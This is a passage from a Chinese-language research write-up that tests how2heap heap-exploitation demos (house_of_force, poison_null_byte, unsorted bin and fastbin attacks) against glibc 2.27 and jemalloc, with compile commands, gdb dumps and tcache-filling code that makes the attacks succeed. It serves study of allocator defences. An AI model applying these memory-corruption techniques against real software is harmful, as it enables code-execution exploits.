// glibc-2.24 in libio/vtables.c
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
    /* Honor the compatibility flag. */
    void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
    PTR_DEMANGLE (flag);
#endif
    if (flag == &_amp;_IO_vtable_check)
        return;

    /* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */

```

³<https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=commitdiff;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51>

```

{
    Dl_info di;
    struct link_map *l;
    if (_dl_open_hook != NULL
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE))
        return;
}

#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
   because FILE * handles might be passed back and forth across the
   boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
    return;
#endif

__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

```

3.6 house_of_force

编译, 运行:

```

root in ~/how2heap-g227 at iZwz9eo57jnmoquu8r2fg0Z took 10s
$ gcc -g3 -L/root/tmpwork/g227/lib -Wl,--rpath=/root/tmpwork/g227/lib
↪ -Wl,--dynamic-linker=/root/tmpwork/g227/lib/ld-linux-x86-64.so.2 house_of_force.c -o
↪ house_of_force

```

```

root in ~/how2heap-g227 at iZwz9eo57jnmoquu8r2fg0Z
$ ./house_of_force
We will overwrite a variable at 0x601080

```

Let's allocate the first chunk of 0x10 bytes: 0x1165260.
Real size of our allocated chunk is 0x18.

Overwriting the top chunk size with a big value so the malloc will never call mmap.
Old size of top chunk: 0x20d91
New size of top chunk: 0xffffffffffffff

The value we want to write to at 0x601080, and the top chunk is at 0x1165278, so accounting
↪ for the header size, we will malloc 0xffffffff49bdf8 bytes.
As expected, the new pointer is at the same place as the old top chunk: 0x1165280
malloc(0x30) => 0x601080!

Now, the next chunk we overwrite will point at our target buffer, so we can overwrite the
↪ value.
old string: This is a string that we want to overwrite.
new string: YEAH!!!

glibc-2.27 不能防御 house_of_force 的利用。

3.7 poison_null_byte

编译, 运行, 不能攻击成功:

```

root in ~/how2heap-g227 at iZwz9eo57jnmoquu8r2fg0Z took 7s
$ gcc -g3 -L/root/tmpwork/g227/lib -Wl,--rpath=/root/tmpwork/g227/lib
↳ -Wl,--dynamic-linker=/root/tmpwork/g227/lib/ld-linux-x86-64.so.2 poison_null_byte.c -o
↳ poison_null_byte

root in ~/how2heap-g227 at iZwz9eo57jnmoquu8r2fg0Z
$ ./poison_null_byte
We allocate 0x10 bytes for 'a': 0x1149260
'real' size of 'a': 0x18
b: 0x1149280
c: 0x1149390
b.size: 0x111 ((0x100 + 0x10) | prev_in_use)

After free(b), c.prev_size: 0
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0x100

Pass the check: chunksize(P) == 0x100 == 0x100 == prev_size (next_chunk(P))
We malloc 'b1': 0x1149420
c.prev_size: 0
fake c.prev_size: 0x100

We malloc 'b2', our 'victim' chunk: 0x11494b0
Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about
↳ 'b2').
Finally, we allocate 'd', overlapping 'b2': 0x1149500

b2 content:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
New b2 content:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

```

我们在 gdb 中调试，在 `free(b)` 这条命令下断点，查看当前的堆分布：

```

gef> p b
$1 = (uint8_t *) 0x603280 ""

gef> vmmap heap
Start                End                Offset            Perm Path
0x0000000000603000 0x0000000000624000 0x0000000000000000 rw- [heap]

gef> x/30gx 0x0000000000603000+0x10
0x603010: 0x0000000000000000 0x0100000000000000 <-- heap base
0x603020: 0x0000000000000000 0x0000000000000000 <-- tcache_1
...
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000603280 <-- address of b

```

可以很明显的看到，glibc 为了效率，没有将 `free` 后的 `b` 放置在 `unsorted_bins` 中。和之前的处理方式一样，我们只需要在 `free` 和 `malloc` 前后分别填满和置空 `tcache` 就可以了：

```

// deal with tcache, line 38
int *k[10], i;
for (i = 0; i < 7; i++) {
    k[i] = malloc(0x100);
}
for (i = 0; i < 7; i++) {
    free(k[i]);
}

```

```

free(b);

// deal with tcache
for (i = 0; i < 7; i++) {
    k[i] = malloc(0x80);
}
for (i = 0; i < 7; i++) {
    free(k[i]);
}
free(b1);

```

增加了填满 tcache 的代码后，重新编译后运行：

```

$ ./poison_null_byte_tcache
We allocate 0x10 bytes for 'a': 0x1104260
'real' size of 'a': 0x18
b: 0x1104280
c: 0x1104390
b.size: 0x111 ((0x100 + 0x10) | prev_in_use)

After free(b), c.prev_size: 0x110
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0x100

Pass the check: chunksize(P) == 0x100 == 0x100 == prev_size (next_chunk(P))
We malloc 'b1': 0x1104280
c.prev_size: 0x110
fake c.prev_size: 0x70

We malloc 'b2', our 'victim' chunk: 0x1104310
Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about
↳ 'b2').
Finally, we allocate 'd', overlapping 'b2': 0x1104280

b2 content:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAA

```

利用成功。

3.8 unsorted_bin_attack

编译，运行得到结果：

```

$ ./unsorted_bin_attack
The target we want to rewrite on stack: 0x7ffd6553aaa0 -> 0

Now, we allocate first small chunk on the heap at: 0x1093260
We free the first chunk now. Its bk pointer point to (nil)
We write it with the target address-0x10: 0x7ffd6553aa90

Let's malloc again to get the chunk we just free: 0x7ffd6553aaa0 -> (nil)

```

利用没有成功，我们在 gdb 中打开，在 free(p) 后下断，并查看当前堆布局：

```

gef> p p
$1 = (unsigned long *) 0x602260

```

```
gef> vmmap heap
Start          End          Offset          Perm Path
0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap]

gef> x/30gx 0x0000000000602000+0x10          <-- heap base
0x602010:    0x0100000000000000    0x0000000000000000    <-- tcache_1
0x602020:    0x0000000000000000    0x0000000000000000
...
0x602070:    0x0000000000000000    0x0000000000000000
0x602080:    0x0000000000000000    0x0000000000602260    <-- address of p
```

发现还是 tcache 的影响，我们和之前的操作一样，只需要在 `free` 和 `malloc` 前后分别填满和置空 tcache 就可以了。但是，与之前的不同的是，从 `unsorted bins` 中取出 `chunks` 的时候，会先放置在 `tcache bins` 中，然后再从 `tcache bin` 中取出。那么问题就来了，在放进 `tcache bin` 的这个过程中，`malloc` 会以为我们的 `target address` 也是一个 `chunk`，然而这个“`chunk`”是过不了检查的，将抛出“`memory corruption`”的错误。如下方的处理逻辑：

```
// in malloc.c, line 3788
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
    bck = victim->bk;
    if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
        || __builtin_expect (chunksize_nomask (victim)
            > av->system_mem, 0))
        malloc_printerr ("malloc(): memory corruption");
```

那么要想跳过放 `chunk` 的这个过程，就需要对应 `tcache bin` 的 `counts` 域不小于 `tcache_count`（默认为 7），但如果 `counts` 不为 0，说明 `tcache bin` 里是有 `chunk` 的，那么 `malloc` 的时候会直接从 `tcache bin` 里取出，于是就没有 `unsorted bin` 什么事了：

```
if (tc_idx < mp->tcache_bins
    /*tc_idx tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
    && tcache
    && tcache->entries[tc_idx] != NULL)
{
    return tcache_get (tc_idx);
}
```

这就造成了矛盾，所以我们需要找到一种既能从 `unsorted bin` 中取 `chunk`，又不会将 `chunk` 放进 `tcache bin` 的办法。这里用到的技术是，`tcache poisoning`⁴。将 `counts` 修改成了 `0xff`，于是在进行到下面这里时就会进入 `else` 分支，直接取出 `chunk` 并返回：

```
// in malloc.c, line 2938
static void * tcache_get (size_t tc_idx) {
    tcache_entry *e = tcache->entries[tc_idx];
    assert (tc_idx < TCACHE_MAX_BINS);
    assert (tcache->entries[tc_idx] > 0);
    tcache->entries[tc_idx] = e->next;
    /* integer overflow: 0x00 - 1 = 0xff
       make counts=0x00, then, it will be 0xff*/
    --(tcache->counts[tc_idx]);
    return (void *) e;
}
```

⁴详见 <http://tukan.farm/2017/07/08/tcache/>

```
// in malloc.c, line 3788
#ifdef USE_TCACHE
    /* Fill cache first, return to user only if cache fills.
       We may return one of these chunks later. */
    if (tcache_nb
        && tcache->counts[tc_idx] < mp_.tcache_count)
    {
        tcache_put (victim, tc_idx);
        return_cached = 1;
        continue;
    }
    else
    {
#ifdef endif
        check_malloced_chunk (av, victim, nb);
        void *p = chunk2mem (victim);
        alloc_perturb (p, bytes);
        return p;

```

这里值得注意的是，`tcache_get()` 函数内部不包含任何检查措施，也是我们利用成功的原因之一。

3.9 `unsorted_bin_into_stack`

编译，运行，攻击没有成功：

```
$ how2heap-227 ./unsorted_bin_into_stack
Allocating the victim chunk
Allocating another chunk to avoid consolidating the top chunk with the small one during the
→ free()
Freeing the chunk 0x164b260, it will be inserted in the unsorted bin
Create a fake chunk on the stackSet size for next allocation and the bk pointer to any
→ writable addressNow emulating a vulnerability that can overwrite the victim->size and
→ victim->bk pointer
Size should be different from the next request size to return fake_chunk and need to pass
→ the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem
Now next malloc will return the region of our fake chunk: 0x7ffd5f1d1600
malloc(0x100): 0x164b260
```

攻击失败了，gdb 调试可以看到：

```
gef> x/30gx 0x000000000000602000+0x10
0x602010: 0x0000000000000000 0x0100000000000000 <-- tcache_1
0x602020: 0x0000000000000000 0x0000000000000000
.....: ...
0x6020c0: 0x0000000000000000 0x0000000000602260 <-- address of victim
```

可以很明显的看到，就像之前影响 `free()` 的一样，同样是 `tcache` 影响了，我们只需要在代码中将 `tcache` 占满即可：

```
// deal with tcache
int *k[10], i;
for (i = 0; i < 7; i++) {
    k[i] = malloc(0x80);
}
for (i = 0; i < 7; i++) {
    free(k[i]);
}
```

添加后编译运行，攻击成功：

```
$ how2heap-227 ./unsorted_bin_into_stack
Allocating the victim chunk
Allocating another chunk to avoid consolidating the top chunk with the small one during the
→ free()
Freeing the chunk 0x1e53260, it will be inserted in the unsorted bin
Create a fake chunk on the stackSet size for next allocation and the bk pointer to any
→ writable addressNow emulating a vulnerability that can overwrite the victim->size and
→ victim->bk pointer
Size should be different from the next request size to return fake_chunk and need to pass
→ the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem
Now next malloc will return the region of our fake chunk: 0x7ffe370742b0
malloc(0x100): 0x7ffe370742b0
```

3.10 fastbin_dup

编译运行，依然可以利用成功：

```
$ how2heap-227 ./fastbin_dup
Allocating 3 buffers.
1st malloc(9) 0x24c6260 points to AAAAAAAA
2nd malloc(9) 0x24c6280 points toBBBBBBBB
3rd malloc(9) 0x24c62a0 points to CCCCCCCC
Freeing the first one 0x24c6260.
Then freeing another one 0x24c6280.
Freeing the first one 0x24c6260 again.
Allocating 3 buffers.
4st malloc(9) 0x24c6260 points to DDDDDDDD the first time
5nd malloc(9) 0x24c6280 points to EEEEEEEE
6rd malloc(9) 0x24c6260 points to FFFFFFFF the second time
```

3.11 fastbin_dup_into_stack

编译运行，可以利用成功：

```
$ how2heap-227 ./fastbin_dup_into_stack
Allocating 3 buffers.
1st malloc(9) 0x7b4260 points to AAAAAAAA
2nd malloc(9) 0x7b4280 points toBBBBBBBB
3rd malloc(9) 0x7b42a0 points to CCCCCCCC
Freeing the first one 0x7b4260.
Then freeing another one 0x7b4280.
Freeing the first one 0x7b4260 again.
Allocating 4 buffers.
4nd malloc(9) 0x7b4260 points to 0x7ffd81252860
5nd malloc(9) 0x7b4280 points to EEEEEEEE
6rd malloc(9) 0x7b4260 points to FFFFFFFF
7th malloc(9) 0x7ffd81252850 points to GGGGGGGG
```

3.12 overlapping_chunks

攻击成功。

3.13 overlapping_chunks_2

攻击成功。

4 jemalloc 分析

此处分析的版本为 jemalloc-5.0.1 中的 malloc 实现。为了方便调试，我们可以在编译 jemalloc 的时候保留调试符号信息：--enable-debug。修改 Makefile，使用 jemalloc 编译 how2heap 的二进制文件：

```
PROGRAMS = fastbin_dup fastbin_dup_into_stack fastbin_dup Consolidate unsafe_unlink
↪ house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore
↪ overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack
↪ house_of_einherjar house_of_orange
CFLAGS += -std=c99 -g
LDLFLAGS += -L/usr/local/jemalloc/lib
LDLIBS += -ljemalloc
# Convenience to auto-call mcheck before the first malloc()
#CFLAGS += -lmcheck

all: $(PROGRAMS)
clean:
    rm -f $(PROGRAMS)
```

4.1 jemalloc 的介绍

现代 CPU 已大多数为多核 CPU，多线程的应用程序也越来越广泛，内存的分配与回收也越来越成为制约程序性能的一大原因。因此为多核多线程的堆管理器 jemalloc 应运而生。

在过去，分配器使用 sbrk(2) 来获得内存，由于多种原因，其中包括竞争条件，碎片增加以及最大可用内存的人为限制，这是不理想的。如果操作系统支持 sbrk(2)，则该分配器按照该优先顺序同时使用 mmap(2) 和 sbrk(2)；否则仅使用 mmap(2)。

这个堆分配器会使用多 arena 的方式来减少多核系统上多线程程序的锁竞争。除了多个 arena 之外，该分配器还支持线程特定的缓存，以便可以完全避免大多数分配请求的同步。这样的缓存允许在正常情况下进行快速分配，但是它增加了内存的使用和分段，因为有限数量的对象可以在每个线程缓存中一直保存被分配的状态。

从 jemalloc 5.0.0 版本开始，不再使用“chunks”这个数据结构进行虚拟内存的管理，而是去使用一个新的，页面对齐的数据结构——extents。（于是之前几乎所有关于 jemalloc 的资料全部作废了，就是一夜回到解放前看源码）

在 jemalloc 的最新设计中，内存区域在概念上被划分为 extents，extents 始终与页面大小的倍数对齐，这种对齐可以让用户更快速的找到储存的元数据。用户的对象被分为大小两类，连续的小对象包含一个 slab，也就是一个单一的 extent，而大的对象则有自己的 extents 支持。

小的对象由 slab 分组管理，而每一个 slab 则维护一个 bitmap 追踪哪些区域正在被使用。不超过 1 quantum 一半的分配请求（8 或 16，依据架构而定）将四舍五入到最接近的 2 的幂，至少是 sizeof(double)。

4.2 unsafe_unlink

由于 jemalloc 的实现和 ptmalloc 并不相同，没有采用边界标记来在堆分配的时候标记数据，而是使用了 bitmap，因此 jemalloc 对 unlink 攻击免疫。

```
$ how2heap ./unsafe_unlink
The global chunk0_ptr is at 0x601070, pointing to 0x7ff94e61e000
The victim chunk we are going to corrupt is at 0x7ff94e61e080

Fake chunk fd: 0x601058
Fake chunk bk: 0x601060

Original value: AAAAAAAAAA
New Value: AAAAAAAAAA
```

- 4.3 house_of_spirit
- 4.4 house_of_lore
- 4.5 house_of_einherjar
- 4.6 house_of_orange
- 4.7 house_of_force
- 4.8 poison_null_byte
- 4.9 unsorted_bin_attack
- 4.10 unsorted_bin_into_stack
- 4.11 fastbin_dup
- 4.12 fastbin_dup_into_stack
- 4.13 overlapping_chunks
- 4.14 overlapping_chunks_2

5 遇到的坑

5.1 jemalloc 的安装

jemalloc 自己实现了对 glibc 中的 malloc 函数的 hook 操作，于是我们可以直接下载 jemalloc，解压至指定目录，使用参数 `./configure --prefix=/path --enable-debug` 就可以得到有调试符号的 jemalloc 了。

然后我们就可以通过在 `/etc/ld.so.conf` 中添加编译好 jemalloc 的位置，保存之后运行命令 `ldconfig`，编译程序的时候就可以使用动态链接库的方式链接了（如下代码第 3、4 行所示）：

```
1 PROGRAMS = fastbin_dup fastbin_dup_into_stack fastbin_dup Consolidate unsafe_unlink
   ↳ house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore
   ↳ overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack
   ↳ house_of_einherjar house_of_orange
2 CFLAGS += -std=c99 -g3
3 LDFlags += -L/usr/local/jemalloc/lib
4 LDLIBS += -ljemalloc
5
6 all: $(PROGRAMS)
7 clean:
8     rm -f $(PROGRAMS)
```

5.2 在 Ubuntu 16.04 下使用高版本 Glibc

Ubuntu 自带的 glibc 版本是 2.23，我们在不替换原系统 glibc 的情况下，若要使用高版本 glibc 当作共享链接库，则万万不可像 jemalloc 那样运行 `ldconfig`。

原因是，glibc 并不单纯的包含 `libc.so.2`，而是包含了该对应版本的链接器等一系列工具链，如果我们此时还在使用旧版本的 glibc，而运行了 `ldconfig` 之后，就会造成系统的共享链接库错误，此时唯一的解决办法是重新安装系统。因此如果使用高版本的 glibc 共享库的话，我们就需要指定额外的参数传递给 gcc 编译器：

```
$ gcc -g3 -L/root/tmpwork/g227/lib -Wl,--rpath=/root/tmpwork/g227/lib
   ↳ -Wl,--dynamic-linker=/root/tmpwork/g227/lib/ld-linux-x86-64.so.2 house_of_einherjar.c -o
   ↳ house_of_einherjar

$ ldd house_of_einherjar
linux-vdso.so.1 => (0x00007ffe979ef000)
libc.so.6 => /root/tmpwork/g227/lib/libc.so.6 (0x00007fb64da78000)
/root/tmpwork/g227/lib/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2
   ↳ (0x00007fb64de2d000)
```

其中，`-Wl` 指的是将该参数传递给链接器，我们在编译时指定了所使用的动态链接库，以及和该版本动态链接库对应的链接器。这样，程序就可以使用高版本的 glibc 了。

References

- [1] Glibc Source Code, <https://ftp.gnu.org/gnu/glibc/>
- [2] jemalloc Source Code, <https://github.com/jemalloc/jemalloc>
- [3] Phrack Magazine Volume 0x0d, Issue 0x42, Phile #0x0A of 0x11, <http://phrack.org/issues/66/10.html>
- [3] Phrack Magazine Volume 0x0e, Issue 0x44, Phile #0x0A of 0x13, <http://phrack.org/issues/68/10.html>
- [4] GitHub 开源书籍 CTF-All-In-One, <https://github.com/firmianay/CTF-All-In-One>
- [5] 裴中煜, 张超, 段海新. Glibc 堆利用的若干方法 [J]. 信息安全学报, 2018, 3(01): 1-15.
- [6] JEMALLOC IMPLEMENTATION NOTES, <http://jemalloc.net/jemalloc.3.html>